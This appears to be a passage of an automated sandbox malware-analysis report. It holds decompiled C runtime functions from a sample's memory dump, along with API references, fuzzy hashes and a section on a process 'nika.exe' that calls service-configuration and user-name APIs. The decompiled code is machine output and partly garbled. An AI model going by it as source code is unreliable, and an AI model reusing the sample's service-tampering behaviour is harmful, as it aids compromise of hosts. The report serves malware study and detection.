Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00413610() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x41fb50;
					_v28 =  *0x41fb48;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x00413615
0x0041361d
0x00413634
0x004135e0
0x004135e9
0x004135f5
0x004135f8
0x004135fb
0x004135fd
0x00413600
0x00413605
0x0041360f
0x00413607
0x0041360b
0x0041360b
0x0041361f
0x00413625
0x0041362d
0x00000000
0x0041362f
0x0041362f
0x00413633
0x00413633
0x0041362d

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

KERNEL32, xrefs: 00413610
IsProcessorFeaturePresent, xrefs: 0041361F

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E0040C748(void* __edx, void* __esi, char _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t70;
				signed int _t71;
				intOrPtr _t73;
				signed int _t75;
				signed int _t81;
				char _t82;
				signed int _t84;
				intOrPtr* _t86;
				signed int _t87;
				intOrPtr* _t90;
				signed int _t92;
				signed int _t94;
				void* _t96;
				signed char _t98;
				signed int _t99;
				intOrPtr _t102;
				signed int _t103;
				intOrPtr* _t104;
				signed int _t111;
				signed int _t114;
				intOrPtr _t115;

				_t105 = __esi;
				_t97 = __edx;
				_t104 = _a4;
				_t87 = 0;
				_t121 = _t104;
				if(_t104 != 0) {
					_t70 = E0040FA20(__edx, _t104, _t104);
					__eflags =  *(_t104 + 4);
					_v8 = _t70;
					if(__eflags < 0) {
						 *(_t104 + 4) = 0;
					}
					_push(1);
					_push(_t87);
					_push(_t70);
					_t71 = E00411939(_t87, _t97, _t104, _t105, __eflags);
					__eflags = _t71 - _t87;
					_v12 = _t71;
					if(_t71 < _t87) {
						L2:
						return _t71 | 0xffffffff;
					} else {
						_t98 =  *(_t104 + 0xc);
						__eflags = _t98 & 0x00000108;
						if((_t98 & 0x00000108) != 0) {
							_t73 =  *_t104;
							_t92 =  *(_t104 + 8);
							_push(_t105);
							_v16 = _t73 - _t92;
							__eflags = _t98 & 0x00000003;
							if((_t98 & 0x00000003) == 0) {
								__eflags = _t98;
								if(__eflags < 0) {
									L15:
									__eflags = _v12 - _t87;
									if(_v12 != _t87) {
										__eflags =  *(_t104 + 0xc) & 0x00000001;
										if(( *(_t104 + 0xc) & 0x00000001) == 0) {
											L40:
											_t75 = _v16 + _v12;
											__eflags = _t75;
											L41:
											return _t75;
										}
										_t99 =  *(_t104 + 4);
										__eflags = _t99 - _t87;
										if(_t99 != _t87) {
											_t90 = 0x423f60 + (_v8 >> 5) * 4;
											_a4 = _t73 - _t92 + _t99;
											_t111 = (_v8 & 0x0000001f) << 6;
											__eflags =  *( *_t90 + _t111 + 4) & 0x00000080;
											if(__eflags == 0) {
												L39:
												_t66 =  &_v12;
												 *_t66 = _v12 - _a4;
												__eflags =  *_t66;
												goto L40;
											}
											_push(2);
											_push(0);
											_push(_v8);
											__eflags = E00411939(_t90, _t99, _t104, _t111, __eflags) - _v12;
											if(__eflags != 0) {
												_push(0);
												_push(_v12);
												_push(_v8);
												_t81 = E00411939(_t90, _t99, _t104, _t111, __eflags);
												__eflags = _t81;
												if(_t81 >= 0) {
													_t82 = 0x200;
													__eflags = _a4 - 0x200;
													if(_a4 > 0x200) {
														L35:
														_t82 =  *((intOrPtr*)(_t104 + 0x18));
														L36:
														_a4 = _t82;
														__eflags =  *( *_t90 + _t111 + 4) & 0x00000004;
														L37:
														if(__eflags != 0) {
															_t63 =  &_a4;
															 *_t63 = _a4 + 1;
															__eflags =  *_t63;
														}
														goto L39;
													}
													_t94 =  *(_t104 + 0xc);
													__eflags = _t94 & 0x00000008;
													if((_t94 & 0x00000008) == 0) {
														goto L35;
													}
													__eflags = _t94 & 0x00000400;
													if((_t94 & 0x00000400) == 0) {
														goto L36;
													}
													goto L35;
												}
												L31:
												_t75 = _t81 | 0xffffffff;
												goto L41;
											}
											_t84 =  *(_t104 + 8);
											_t96 = _a4 + _t84;
											while(1) {
												__eflags = _t84 - _t96;
												if(_t84 >= _t96) {
													break;
												}
												__eflags =  *_t84 - 0xa;
												if( *_t84 == 0xa) {
													_t44 =  &_a4;
													 *_t44 = _a4 + 1;
													__eflags =  *_t44;
												}
												_t84 = _t84 + 1;
												__eflags = _t84;
											}
											__eflags =  *(_t104 + 0xc) & 0x00002000;
											goto L37;
										}
										_v16 = _t87;
										goto L40;
									}
									_t75 = _v16;
									goto L41;
								}
								_t81 = E0040BFC1(__eflags);
								 *_t81 = 0x16;
								goto L31;
							}
							_t102 =  *((intOrPtr*)(0x423f60 + (_v8 >> 5) * 4));
							_t114 = (_v8 & 0x0000001f) << 6;
							__eflags =  *(_t102 + _t114 + 4) & 0x00000080;
							if(( *(_t102 + _t114 + 4) & 0x00000080) == 0) {
								goto L15;
							}
							_t103 = _t92;
							__eflags = _t103 - _t73;
							if(_t103 >= _t73) {
								goto L15;
							}
							_t115 = _t73;
							do {
								__eflags =  *_t103 - 0xa;
								if( *_t103 == 0xa) {
									_v16 = _v16 + 1;
									_t87 = 0;
									__eflags = 0;
								}
								_t103 = _t103 + 1;
								__eflags = _t103 - _t115;
							} while (_t103 < _t115);
							goto L15;
						}
						return _t71 -  *(_t104 + 4);
					}
				}
				_t86 = E0040BFC1(_t121);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				 *_t86 = 0x16;
				_t71 = E0040E744(__edx, _t104, __esi);
				goto L2;
			}

0x0040c748
0x0040c748
0x0040c752
0x0040c755
0x0040c757
0x0040c759
0x0040c77c
0x0040c781
0x0040c785
0x0040c788
0x0040c78a
0x0040c78a
0x0040c78d
0x0040c78f
0x0040c790
0x0040c791
0x0040c799
0x0040c79b
0x0040c79e
0x0040c773
0x00000000
0x0040c7a0
0x0040c7a0
0x0040c7a3
0x0040c7a9
0x0040c7b3
0x0040c7b5
0x0040c7b8
0x0040c7bd
0x0040c7c0
0x0040c7c3
0x0040c806
0x0040c808
0x0040c7f9
0x0040c7f9
0x0040c7fc
0x0040c81a
0x0040c81e
0x0040c8d8
0x0040c8de
0x0040c8de
0x0040c8e0
0x00000000
0x0040c8e0
0x0040c824
0x0040c827
0x0040c829
0x0040c843
0x0040c84a
0x0040c84f
0x0040c852
0x0040c857
0x0040c8d2
0x0040c8d5
0x0040c8d5
0x0040c8d5
0x00000000
0x0040c8d5
0x0040c859
0x0040c85b
0x0040c85d
0x0040c868
0x0040c86b
0x0040c88d
0x0040c88f
0x0040c892
0x0040c895
0x0040c89d
0x0040c89f
0x0040c8a6
0x0040c8ab
0x0040c8ae
0x0040c8c0
0x0040c8c0
0x0040c8c3
0x0040c8c3
0x0040c8c8
0x0040c8cd
0x0040c8cd
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x00000000
0x0040c8cd
0x0040c8b0
0x0040c8b3
0x0040c8b6
0x00000000
0x00000000
0x0040c8b8
0x0040c8be
0x00000000
0x00000000
0x00000000
0x0040c8be
0x0040c8a1
0x0040c8a1
0x00000000
0x0040c8a1
0x0040c86d
0x0040c873
0x0040c880
0x0040c880
0x0040c882
0x00000000
0x00000000
0x0040c877
0x0040c87a
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87f
0x0040c87f
0x0040c87f
0x0040c884
0x00000000
0x0040c884
0x0040c82b
0x00000000
0x0040c82b
0x0040c7fe
0x00000000
0x0040c7fe
0x0040c80a
0x0040c80f
0x00000000
0x0040c80f
0x0040c7ce
0x0040c7d8
0x0040c7db
0x0040c7e0
0x00000000
0x00000000
0x0040c7e2
0x0040c7e4
0x0040c7e6
0x00000000
0x00000000
0x0040c7e8
0x0040c7ea
0x0040c7ea
0x0040c7ed
0x0040c7ef
0x0040c7f2
0x0040c7f2
0x0040c7f2
0x0040c7f4
0x0040c7f5
0x0040c7f5
0x00000000
0x0040c7ea
0x00000000
0x0040c7ab
0x0040c79e
0x0040c75b
0x0040c760
0x0040c761
0x0040c762
0x0040c763
0x0040c764
0x0040c765
0x0040c76b
0x00000000

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Uniqueness

Uniqueness Score: -1.00%

Function 0040BAAA Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040BAAA(signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t63;
				void* _t68;
				signed int _t69;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t81;
				signed int _t82;
				signed int _t84;
				signed int _t88;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t100;
				void* _t101;

				_t90 = __edx;
				if(_a8 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t100 = _a16;
					_t105 = _t100;
					if(_t100 != 0) {
						_t82 = _a4;
						__eflags = _t82;
						if(__eflags == 0) {
							goto L3;
						}
						_t63 = _t59 | 0xffffffff;
						_t90 = _t63 % _a8;
						__eflags = _a12 - _t63 / _a8;
						if(__eflags > 0) {
							goto L3;
						}
						_t97 = _a8 * _a12;
						__eflags =  *(_t100 + 0xc) & 0x0000010c;
						_v8 = _t82;
						_v16 = _t97;
						_t81 = _t97;
						if(( *(_t100 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t100 + 0x18);
						}
						__eflags = _t97;
						if(_t97 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t84 =  *(_t100 + 0xc) & 0x00000108;
								__eflags = _t84;
								if(_t84 == 0) {
									L18:
									__eflags = _t81 - _v12;
									if(_t81 < _v12) {
										_t68 = E0040F0AD(_t90, _t97,  *_v8, _t100);
										__eflags = _t68 - 0xffffffff;
										if(_t68 == 0xffffffff) {
											L34:
											_t69 = _t97;
											L35:
											return (_t69 - _t81) / _a8;
										}
										_v8 = _v8 + 1;
										_t72 =  *(_t100 + 0x18);
										_t81 = _t81 - 1;
										_v12 = _t72;
										__eflags = _t72;
										if(_t72 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t84;
									if(_t84 == 0) {
										L21:
										__eflags = _v12;
										_t98 = _t81;
										if(_v12 != 0) {
											_t75 = _t81;
											_t90 = _t75 % _v12;
											_t98 = _t98 - _t75 % _v12;
											__eflags = _t98;
										}
										_push(_t98);
										_push(_v8);
										_push(E0040FA20(_t90, _t98, _t100));
										_t74 = E0040F944(_t81, _t90, _t98, _t100, __eflags);
										_t101 = _t101 + 0xc;
										__eflags = _t74 - 0xffffffff;
										if(_t74 == 0xffffffff) {
											L36:
											 *(_t100 + 0xc) =  *(_t100 + 0xc) | 0x00000020;
											_t69 = _v16;
											goto L35;
										} else {
											_t88 = _t98;
											__eflags = _t74 - _t98;
											if(_t74 <= _t98) {
												_t88 = _t74;
											}
											_v8 = _v8 + _t88;
											_t81 = _t81 - _t88;
											__eflags = _t74 - _t98;
											if(_t74 < _t98) {
												goto L36;
											} else {
												L27:
												_t97 = _v16;
												goto L31;
											}
										}
									}
									_t77 = E0040C1FB(_t100);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t78 =  *(_t100 + 4);
								__eflags = _t78;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t48 = _t100 + 0xc;
									 *_t48 =  *(_t100 + 0xc) | 0x00000020;
									__eflags =  *_t48;
									goto L34;
								}
								_t99 = _t81;
								__eflags = _t81 - _t78;
								if(_t81 >= _t78) {
									_t99 = _t78;
								}
								E0040B350(_t81, _t99, _t100,  *_t100, _v8, _t99);
								 *(_t100 + 4) =  *(_t100 + 4) - _t99;
								 *_t100 =  *_t100 + _t99;
								_t101 = _t101 + 0xc;
								_t81 = _t81 - _t99;
								_v8 = _v8 + _t99;
								goto L27;
								L31:
								__eflags = _t81;
							} while (_t81 != 0);
							goto L32;
						}
					}
					L3:
					_t61 = E0040BFC1(_t105);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t61 = 0x16;
					E0040E744(_t90, 0, _t100);
					goto L4;
				}
			}

0x0040baaa
0x0040baba
0x0040bae0
0x00000000
0x0040bac1
0x0040bac1
0x0040bac4
0x0040bac6
0x0040bae7
0x0040baea
0x0040baec
0x00000000
0x00000000
0x0040baee
0x0040baf3
0x0040baf6
0x0040baf9
0x00000000
0x00000000
0x0040bafe
0x0040bb02
0x0040bb09
0x0040bb0c
0x0040bb0f
0x0040bb11
0x0040bb1b
0x0040bb13
0x0040bb16
0x0040bb16
0x0040bb22
0x0040bb24
0x0040bbe9
0x00000000
0x0040bb2a
0x0040bb2a
0x0040bb2d
0x0040bb2d
0x0040bb33
0x0040bb64
0x0040bb64
0x0040bb67
0x0040bbc0
0x0040bbc7
0x0040bbca
0x0040bbf5
0x0040bbf5
0x0040bbf7
0x00000000
0x0040bbfb
0x0040bbcc
0x0040bbcf
0x0040bbd2
0x0040bbd3
0x0040bbd6
0x0040bbd8
0x0040bbda
0x0040bbda
0x00000000
0x0040bbd8
0x0040bb69
0x0040bb6b
0x0040bb78
0x0040bb78
0x0040bb7c
0x0040bb7e
0x0040bb82
0x0040bb84
0x0040bb87
0x0040bb87
0x0040bb87
0x0040bb89
0x0040bb8a
0x0040bb94
0x0040bb95
0x0040bb9a
0x0040bb9d
0x0040bba0
0x0040bc03
0x0040bc03
0x0040bc07
0x00000000
0x0040bba2
0x0040bba2
0x0040bba4
0x0040bba6
0x0040bba8
0x0040bba8
0x0040bbaa
0x0040bbad
0x0040bbaf
0x0040bbb1
0x00000000
0x0040bbb3
0x0040bbb3
0x0040bbb3
0x00000000
0x0040bbb3
0x0040bbb1
0x0040bba0
0x0040bb6e
0x0040bb74
0x0040bb76
0x00000000
0x00000000
0x00000000
0x0040bb76
0x0040bb35
0x0040bb38
0x0040bb3a
0x00000000
0x00000000
0x0040bb3c
0x0040bbf1
0x0040bbf1
0x0040bbf1
0x00000000
0x0040bbf1
0x0040bb42
0x0040bb44
0x0040bb46
0x0040bb48
0x0040bb48
0x0040bb50
0x0040bb55
0x0040bb58
0x0040bb5a
0x0040bb5d
0x0040bb5f
0x00000000
0x0040bbe1
0x0040bbe1
0x0040bbe1
0x00000000
0x0040bb2a
0x0040bb24
0x0040bac8
0x0040bac8
0x0040bacd
0x0040bace
0x0040bacf
0x0040bad0
0x0040bad1
0x0040bad2
0x0040bad8
0x00000000
0x0040badd

APIs

__flush.LIBCMT ref: 0040BB6E
__fileno.LIBCMT ref: 0040BB8E
__locking.LIBCMT ref: 0040BB95
__flsbuf.LIBCMT ref: 0040BBC0

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C

Uniqueness

Uniqueness Score: -1.00%

Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041529F(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0040EC86( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E004153D0( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0040BFC1(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x004152a9
0x004152b0
0x004152c7
0x00000000
0x004152b7
0x004152b9
0x004152d3
0x004152d8
0x004152db
0x004152de
0x00415307
0x0041530e
0x00415310
0x00415391
0x004153ac
0x004153ae
0x004152ee
0x004152ee
0x004152f1
0x004152f3
0x004152f6
0x004152f6
0x004152f6
0x004152f6
0x00000000
0x004152fc
0x00415370
0x00415370
0x00415375
0x0041537b
0x0041537e
0x00415380
0x00415383
0x00415383
0x00415383
0x00415383
0x00000000
0x00415387
0x00415312
0x00415315
0x0041531b
0x0041531e
0x00415345
0x00415348
0x0041534e
0x00000000
0x00000000
0x00415350
0x00415353
0x00000000
0x00000000
0x00415355
0x00415355
0x0041535b
0x0041535e
0x004152cc
0x004152cc
0x00415367
0x00000000
0x00415367
0x00415320
0x00415323
0x00000000
0x00000000
0x00415327
0x00415338
0x0041533e
0x00415340
0x00415343
0x00000000
0x00000000
0x00000000
0x00415343
0x004152e0
0x004152e3
0x004152e5
0x004152eb
0x004152eb
0x00000000
0x004152bb
0x004152bb
0x004152c0
0x004152c4
0x004152c4
0x00000000
0x004152c0
0x004152b9

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Uniqueness

Uniqueness Score: -1.00%

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004134DB(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00412DCC(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00412EBC(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E004133E1(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00413326(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x004134e0
0x004134e6
0x00413559
0x00000000
0x004134ed
0x004134ed
0x004134f0
0x0041350b
0x0041350e
0x0041352e
0x00413540
0x00413510
0x00413510
0x00413513
0x00000000
0x00413515
0x00413527
0x00413527
0x00413513
0x0041355e
0x00413562
0x004134f2
0x0041350a
0x0041350a
0x004134f0

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: nika.exePID: 604, Parent PID: 984COMMON

Execution Graph

Execution Coverage:	56.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	28.6%
Total number of Nodes:	21
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FFDC87B1B10 Relevance: 2.0, APIs: 1, Instructions: 548
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32 ref: 00007FFDC87B1FD1

Memory Dump Source

Source File: 00000007.00000002.319415276.00007FFDC87B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFDC87B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffdc87b0000_nika.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 53c445b60fadff15bda865a4fda2bc2353c71aea65b53c23c3e0c2ef35bcced4
Instruction ID: e28786ec6b61fd0d39f57067b9e9a6955bd2b9ad521d0666d37331141ed8d149
Opcode Fuzzy Hash: 53c445b60fadff15bda865a4fda2bc2353c71aea65b53c23c3e0c2ef35bcced4
Instruction Fuzzy Hash: A5F1C330A18A4D4FEB68DF28CC567F977D1FB58311F10426EE84EC7291EA7499818BC6

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFDC87B077D Relevance: 1.8, APIs: 1, Instructions: 266
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32 ref: 00007FFDC87B0989

Memory Dump Source

Source File: 00000007.00000002.319415276.00007FFDC87B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFDC87B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffdc87b0000_nika.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: a3d7a0c6a90383fe2894f53bf9b067ecae1d7d365efd291a0e59eea78166683d
Instruction ID: 3fb3e0ea89a1f0be41906c01f634b0b5c0c1bdbed55ae2053e46a9022775e011
Opcode Fuzzy Hash: a3d7a0c6a90383fe2894f53bf9b067ecae1d7d365efd291a0e59eea78166683d
Instruction Fuzzy Hash: C4915F30A08A4D8FEB68DF18C899BF977D1FF55310F00416EE84EC7292DA75A985CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFDC87B0C34 Relevance: 1.7, APIs: 1, Instructions: 213
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenServiceA.ADVAPI32 ref: 00007FFDC87B0D99

Memory Dump Source

Source File: 00000007.00000002.319415276.00007FFDC87B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFDC87B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffdc87b0000_nika.jbxd

